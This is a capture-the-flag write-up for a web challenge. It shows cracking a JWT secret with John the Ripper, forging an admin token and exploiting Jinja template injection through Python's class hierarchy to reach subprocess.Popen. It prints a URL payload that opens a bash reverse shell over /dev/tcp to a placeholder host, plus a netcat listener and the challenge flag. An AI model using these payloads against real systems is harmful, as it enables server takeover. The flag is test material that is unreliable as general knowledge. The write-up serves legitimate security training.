# Template Shack
Author: [roerohan](https://github.com/roerohan)
# Requirements
- JWT- John The Ripper
# Source
```Check out the coolest web templates online!
Connect here:http://jh2i.com:50023```
# Exploitation
When you visit the website, you find that there's a cookie containing a JWT. It's hashed using `HS256`. We used `rockyou.txt` to bruteforce the JWT secret, using John The Ripper.
```$ john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256```
The secret is `supersecret`. Using this, you can make a JWT with `username: admin`.
```eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H-_2q-Vo32g4mLpkEcajK0H7I```
Now, add this to your cookie. You are logged in as admin. Visit some random route starting with `/admin/` which throws a 404. You can see there's scope for template injection in the 404 page.
```http://jh2i.com:50023/template/admin/%7B%7B().__class__.__bases__[0].__subclasses__()%7D%7D```
You can climb up the Python MRO using the `__class__` and `__bases__`, etc. This way you can find a list of all the classes you can use. On index 405, you see `subprocess.Popen`.
```http://jh2i.com:50023/template/admin/%7B%7B().__class__.__bases__[0].__subclasses__()[405]%7D%7D```
This shows `/template/admin/<class 'subprocess.Popen'>` on the website.
Now, you can use this to spawn a reverse shell. 
```http://jh2i.com:50023/template/admin/%7B%7B().__class__.__bases__[0].__subclasses__()[405](['bash -c %22bash -i %3E& /dev/tcp/yourserverip/yourport 0%3E&1%22'], shell=True)%7D%7D```
> Note: Replace yourserverip and yourport.
Start a `netcat` listener on your server at the specified port. 
You get a shell!
```$ nc -lp 8000bash: cannot set terminal process group (8): Inappropriate ioctl for devicebash: no job control in this shelluser@272108e56147:~$ lslsflag.txtmain.pyposts.pyrequirements.txttemplatesuser@272108e56147:~$ cat flag.txtcat flag.txtflag{easy_jinja_SSTI_RCE}```
The flag is:
```flag{easy_jinja_SSTI_RCE}```